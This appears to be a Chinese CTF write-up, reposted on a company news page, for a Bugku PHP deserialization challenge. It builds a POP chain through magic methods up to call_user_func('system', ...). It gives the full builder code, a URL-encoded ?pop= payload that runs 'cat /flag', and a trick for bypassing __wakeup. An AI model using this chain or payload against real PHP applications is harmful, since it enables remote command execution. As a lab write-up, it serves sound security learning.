首页/新闻资讯/正文详情

Bugku_兔年大吉2 解题方法

发布时间:2026/11/7 10:11:27 来源:云帆数科 栏目:资讯中心
Bugku_兔年大吉2 解题方法
目录前言题目解题过程1.触发Happy的__call2. 触发 Nevv 的 __invoke3.触发 Year 的 __get4. 触发 Rabbit 的 __set5. 触发 Year 的 __destruct完整构造链1.完整 POP 链梳理2.完整链条3.完整构造POP链构造代码补充关于 Happy::__wakeup 的说明前言闲来无事练练题结果被打下了重新复习了下php反序化后成功拿下此题那就写个解题思路吧分享记录下awa。题目?php highlight_file(__FILE__); error_reporting(0); class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this-cmd $cmd; $this-content $content; } public function __call($name, $arguments) { call_user_func($this-cmd, $this-content); } public function __wakeup() { die(Wishes can be fulfilled); } } class Nevv{ private $happiness; public function __invoke() { return $this-happiness-check(); } } class Rabbit{ private $aspiration; public function __set($name,$val){ return $this-aspiration-family; } } class Year{ public $key; public $rabbit; public function __construct($key) { $this-key $key; } public function firecrackers() { return $this-rabbit-wish allkill QAQ; } public function __get($name) { $name $this-rabbit; $name(); } public function __destruct() { if ($this-key happy new year) { $this-firecrackers(); }else{ print(Welcome 2023!!!!!); } } } if (isset($_GET[pop])) { $a unserialize($_GET[pop]); }else { echo 过新年啊~过个吉祥年~; } ? 过新年啊~过个吉祥年~解题过程1.触发Happy的__call我们从后往前直接看pop链的最后部分执行命令的函数Happy类中存在call_user_func函数可调用接受两个参数来执行命令第一个参数为函数名第二个参数为执行的内容。外层是__call魔术方法所以我们需要先想办法触发__call从而利用call_user_func执行命令__call的触发条件当对一个对象调用 当前作用域内不可访问的方法 时触发不可访问的方法可以是不存在的方法此时我们需要去找到一个存在调用方法代码语句发现Nevv类中存在return $this-happiness-check();语句只需要将this-happiness也就是Nevv的happiness属性赋值为 Happy类即可调用Happy的check()触发__call Happy类中没有check()方法所以我们可以写出第一次构造的代码注意由于happiness为私有属性需要通过__construct方法来赋值?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this-cmd $cmd; $this-content $content; } } class Nevv{ private $happiness; public function __construct($happiness) //添加一个__construct方法便于赋值 { $this-happiness$happiness; } } $happy new Happy(system,ls); //传入函数名和内容 $nevv new Nevv($happy); // 赋值 echo serialize($nevv); //输出检验运行结果O:4:Nevv:1:{s:15:\0Nevv\0happiness;O:5:Happy:2:{s:10:\0Happy\0cmd;s:6:system;s:14:\0Happy\0content;s:2:ls;}}2. 触发 Nevv 的 __invokepublic function __invoke() { return $this-happiness-check(); }__invoke的触发条件当把一个对象当作函数调用时触发例如$obj()。于是我们需要找到一个地方把Nevv对象当作函数调用。继续往前找发现Year类中存在public function __get($name) { $name $this-rabbit; $name(); }这里把$this-rabbit赋值给$name然后$name()把它当函数调用。所以只需要让Year的rabbit属性为Nevv对象就可以触发Nevv::__invoke()。构造代码?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this-cmd $cmd; $this-content $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this-happiness $happiness; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) { $this-key $key; $this-rabbit $rabbit; } } $happy new Happy(system, ls); $nevv new Nevv($happy); $year new Year(, $nevv); // 让 Year 的 rabbit 属性为 Nevv 对象 echo serialize($year); // 输出检验3.触发 Year 的 __get__get的触发条件当访问一个对象中不存在或不可访问的属性时触发。我们需要找到一个地方去访问Year对象中不存在的属性。继续往前找发现Rabbit类中public function __set($name,$val){ return $this-aspiration-family; }这里访问了 $this-aspiration-family。如果 aspiration 是一个 Year 对象而 Year 中没有 family 属性确实没有就会触发 Year::__get()。构造代码?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this-cmd $cmd; $this-content $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this-happiness $happiness; } } class Rabbit{ private $aspiration; public function __construct($aspiration) { $this-aspiration $aspiration; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) //增加一个参数便于构造 { $this-key $key; $this-rabbit $rabbit; } } $happy new Happy(system, ls); $nevv new Nevv($happy); $year2 new Year(, $nevv); $rabbit new Rabbit($year2); // 让 Rabbit 的 aspiration 属性为 Year 对象 echo serialize($rabbit); // 输出检验到这里Year::__get()的构造已经就绪。但要让它真正被触发还需要Rabbit::__set()去访问$this-aspiration-family。所以继续往前找__set的触发点。4. 触发 Rabbit 的 __set__set的触发条件当给一个对象中不存在或不可访问的属性赋值时触发。我们需要找到一个地方去给Rabbit对象中不存在的属性赋值。继续往前找发现Year类中public function firecrackers() { return $this-rabbit-wish allkill QAQ; }这里给 $this-rabbit-wish 赋值。如果 rabbit 是一个 Rabbit 对象而 Rabbit 中没有 wish 属性确实没有就会触发 Rabbit::__set()。构造代码?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this-cmd $cmd; $this-content $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this-happiness $happiness; } } class Rabbit{ private $aspiration; public function __construct($aspiration) { $this-aspiration $aspiration; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) { $this-key $key; $this-rabbit $rabbit; } } $happy new Happy(system, ls); $nevv new Nevv($happy); $year2 new Year(, $nevv); $rabbit new Rabbit($year2); $year1 new Year(happy new year, $rabbit); // 让 Year 的 rabbit 属性为 Rabbit 对象 echo serialize($year1); // 输出检验到这里Rabbit::__set()的构造已经就绪。但要让它真正被触发还需要Year::firecrackers()去给$this-rabbit-wish赋值。所以继续往前找触发点。5. 触发 Year 的 __destruct__destruct的触发条件当对象被销毁时触发脚本结束、unset、或引用计数归零。继续往前看Year类中存在​​​​​​public function __destruct() { if ($this-key happy new year) { $this-firecrackers(); }else{ print(Welcome 2023!!!!!); } }这里要求$this-key happy new year然后调用firecrackers()。所以最后直接序列化Year即可至此整条 POP 链构造完成。完整构造链1.完整 POP 链梳理从入口unserialize($_GET[pop])开始逐层触发Year::__destruct()— 脚本结束对象销毁时触发条件$this-key happy new year调用$this-firecrackers()Year::firecrackers()执行$this-rabbit-wish allkill QAQ若rabbit是Rabbit对象且没有wish属性 → 触发Rabbit::__set()Rabbit::__set()执行return $this-aspiration-family若aspiration是Year对象且没有family属性 → 触发Year::__get()Year::__get()执行$name $this-rabbit; $name();若rabbit是Nevv对象 → 把对象当函数调用 → 触发Nevv::__invoke()Nevv::__invoke()执行return $this-happiness-check()若happiness是Happy对象且没有check()方法 → 触发Happy::__call()Happy::__call()执行call_user_func($this-cmd, $this-content)即call_user_func(system, 命令)→执行命令2.完整链条unserialize($_GET[pop])→ Year::__destruct() // key happy new year→ Year::firecrackers() // $this-rabbit-wish ...→ Rabbit::__set() // 访问 $this-aspiration-family→ Year::__get() // $name $this-rabbit; $name();→ Nevv::__invoke() // $this-happiness-check()→ Happy::__call() // call_user_func($this-cmd, $this-content)→ system(ls)3.完整构造POP链构造代码?php class Happy{ private $cmd; private $content; public function __construct($cmd, $content) { $this-cmd $cmd; $this-content $content; } } class Nevv{ private $happiness; public function __construct($happiness) { $this-happiness $happiness; } } class Rabbit{ private $aspiration; public function __construct($aspiration) { $this-aspiration $aspiration; } } class Year{ public $key; public $rabbit; public function __construct($key, $rabbit) { $this-key $key; $this-rabbit $rabbit; } } $happy new Happy(system, ls); $nevv new Nevv($happy); $year2 new Year(, $nevv); $rabbit new Rabbit($year2); $year1 new Year(happy new year, $rabbit); echo serialize($year1); // 输出最终检验输出结果O:4:Year:2:{s:3:key;s:14:happy new year;s:6:rabbit;O:6:Rabbit:1:{s:18:\0Rabbit\0aspiration;O:4:Year:2:{s:3:key;s:0:;s:6:rabbit;O:4:Nevv:1:{s:15:\0Nevv\0happiness;O:5:Happy:3:{s:10:\0Happy\0cmd;s:6:system;s:14:\0Happy\0content;s:2:ls;}}}}}转为url编码O:4:Year:2:{s:3:key;s:14:happy new year;s:6:rabbit;O:6:Rabbit:1:{s:18:%00Rabbit%00aspiration;O:4:Year:2:{s:3:key;s:0:;s:6:rabbit;O:4:Nevv:1:{s:15:%00Nevv%00happiness;O:5:Happy:3:{s:10:%00Happy%00cmd;s:6:system;s:14:%00Happy%00content;s:2:ls;}}}}}获取flag?popO:4:Year:2:{s:3:key;s:14:happy new year;s:6:rabbit;O:6:Rabbit:1:{s:18:%00Rabbit%00aspiration;O:4:Year:2:{s:3:key;s:0:;s:6:rabbit;O:4:Nevv:1:{s:15:%00Nevv%00happiness;O:5:Happy:3:{s:10:%00Happy%00cmd;s:6:system;s:14:%00Happy%00content;s:9:cat%20/flag;}}}}}补充关于Happy::__wakeup的说明在分析Happy类时可以看到它定义了一个__wakeup魔术方法public function __wakeup() { die(Wishes can be fulfilled); }按照 PHP 反序列化的规则当一个对象被unserialize()还原时如果它的类中定义了__wakeup()那么该方法会自动被调用。也就是说只要Happy对象出现在序列化字符串里理论上__wakeup就会执行die()直接终止脚本。但实际测试中不绕过__wakeup也能成功执行命令。如需绕过只需将对应的对象属性数量修改为大于实际值即可。

相关推荐

Redis 面试题:有一种数据类型要存两次,为什么?
Redis 面试题:有一种数据类型要存两次,为什么?

写在前面:这道题到底在问什么Redis 面试里有一种题目,初看很怪:“有一种数据类型,Redis 要存两次,为什么?”很多候选人听到“存两次”,第一反应是内存浪费,接着就开始猜主从复制、RD… · 2026/11/6 6:29:12

记忆机制:对话内与跨对话的记忆
记忆机制:对话内与跨对话的记忆

很多人对大模型记忆有一个根深蒂固的误解:以为对话多了,模型就"认识"你了,就"记得"你上周说过什么。这个错觉很危险,因为它把工程的归工程的、模型的归模型的,全搅在了一起。今天我把这件事讲清楚… · 2026/11/6 6:28:12

激光共聚焦显微镜:从原理到应用的全面解析
激光共聚焦显微镜:从原理到应用的全面解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/6 6:28:12

商洛电工证办理流程详解:全国通用怎么考不被坑
商洛电工证办理流程详解:全国通用怎么考不被坑

商洛电工证办理流程详解:全国通用怎么考不被坑 你是不是也遇到过这种情况?找了个中介报名,结果花了钱连个准考证都没拿到,更别提全国通用的电工证了。今天我就把商洛电工证办理流程讲清楚,教你避开那些套路,稳稳拿到 全国通用 的电工证。… · 2026/11/7 10:11:02

白云高级电工证流程千万别踩坑:实操考试心里没底怕挂科
白云高级电工证流程千万别踩坑:实操考试心里没底怕挂科

白云高级电工证流程千万别踩坑:实操考试心里没底怕挂科 实操考试心里没底怕挂科,这是很多准备考取白云高级电工证的人最真实的心声。尤其是初次接触特种作业操作证的小伙伴,对流程、考试内容、报名条件等信息一知半解,稍有不慎就可能踩坑,耽误时间和金钱… · 2026/11/7 10:11:02

管道工是不是特种工种 2026河南最新政策详解
管道工是不是特种工种 2026河南最新政策详解

管道工是不是特种工种 2026河南最新政策详解 工地太忙根本没时间复习考试?很多管道工朋友都在问,管道工是不是特种工种?2026河南最新政策已经明确,… · 2026/11/7 10:11:02

工地太忙根本没时间复习考试,合肥低压电工证难度值不值得考?
工地太忙根本没时间复习考试,合肥低压电工证难度值不值得考?

工地太忙根本没时间复习考试,合肥低压电工证难度值不值得考? 工地太忙根本没时间复习考试,这是很多一线电工的真实写照。合肥低压电工证难度到底怎么样?值不值得考?这成了很多人在考虑报考前最纠结的问题。特别是在当前政策收紧、岗位门槛提高的大环境下… · 2026/11/7 10:11:02

龙里县特种作业操作证报考避坑指南:怎么不被中介忽悠,还能拿高薪
龙里县特种作业操作证报考避坑指南:怎么不被中介忽悠,还能拿高薪

龙里县特种作业操作证报考避坑指南:怎么不被中介忽悠,还能拿高薪 你是不是在龙里县,想找特种作业操作证的报名点,但又怕被中介坑?别急,我这10年干应急管理相关工作的老手,今天就给你讲讲【龙里县特种作业操作证】怎么报、怎么考、怎么拿高薪,… · 2026/11/7 10:11:02

南阳应届工程类毕业生如何查作业人员电工证?别再怕考不过白交培训费了
南阳应届工程类毕业生如何查作业人员电工证?别再怕考不过白交培训费了

南阳应届工程类毕业生如何查作业人员电工证?别再怕考不过白交培训费了 你是不是也在为【查作业人员电工证】发愁?明明报名了培训机构,还交了钱,结果一考试就挂,白忙一场不说,钱也打了水漂。别急,今天就带你从【网上查询】到备考、考试、复审全流程,手… · 2026/11/7 10:10:02

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/5 10:27:59

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/5 10:28:03

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/6 10:29:23

澳洲水电工证考试:证书过期了不知道怎么复审延期?电子证书怎么弄?
澳洲水电工证考试:证书过期了不知道怎么复审延期?电子证书怎么弄?

澳洲水电工证考试:证书过期了不知道怎么复审延期?电子证书怎么弄? 证书过期了不知道怎么复审延期?别慌,很多人在拿到【澳洲水电工证考试】的电子证书后,一不小心就忽略了复审时间,结果证书失效,工作受阻,甚至被单位追责。今天就从【澳洲水电工证考试… · 2026/11/7 0:00:41

电工作业提示版通过率揭秘:怎么考才能一次过?
电工作业提示版通过率揭秘:怎么考才能一次过?

电工作业提示版通过率揭秘:怎么考才能一次过? 怕考不过白交培训费?别急,今天我就从驻马店应届工程类毕业生的视角,带你全面了解电工作业提示版的考试流程、备考要点和真实通过率,帮你少走弯路、提高一次通过率。… · 2026/11/7 0:00:41

电工证年审报名千万别踩坑 外省证转过来要搞清这几点
电工证年审报名千万别踩坑 外省证转过来要搞清这几点

电工证年审报名千万别踩坑 外省证转过来要搞清这几点 之前考的证在外省能不能转过来?这个问题是很多电工从业者最关心的,特别是像你这样在商丘从事公路工程的人员,经常需要跨省流动,证书的 有效性 和 可迁移性… · 2026/11/7 0:00:41

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/5 10:27:59

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/5 10:28:03

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/6 10:29:23

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码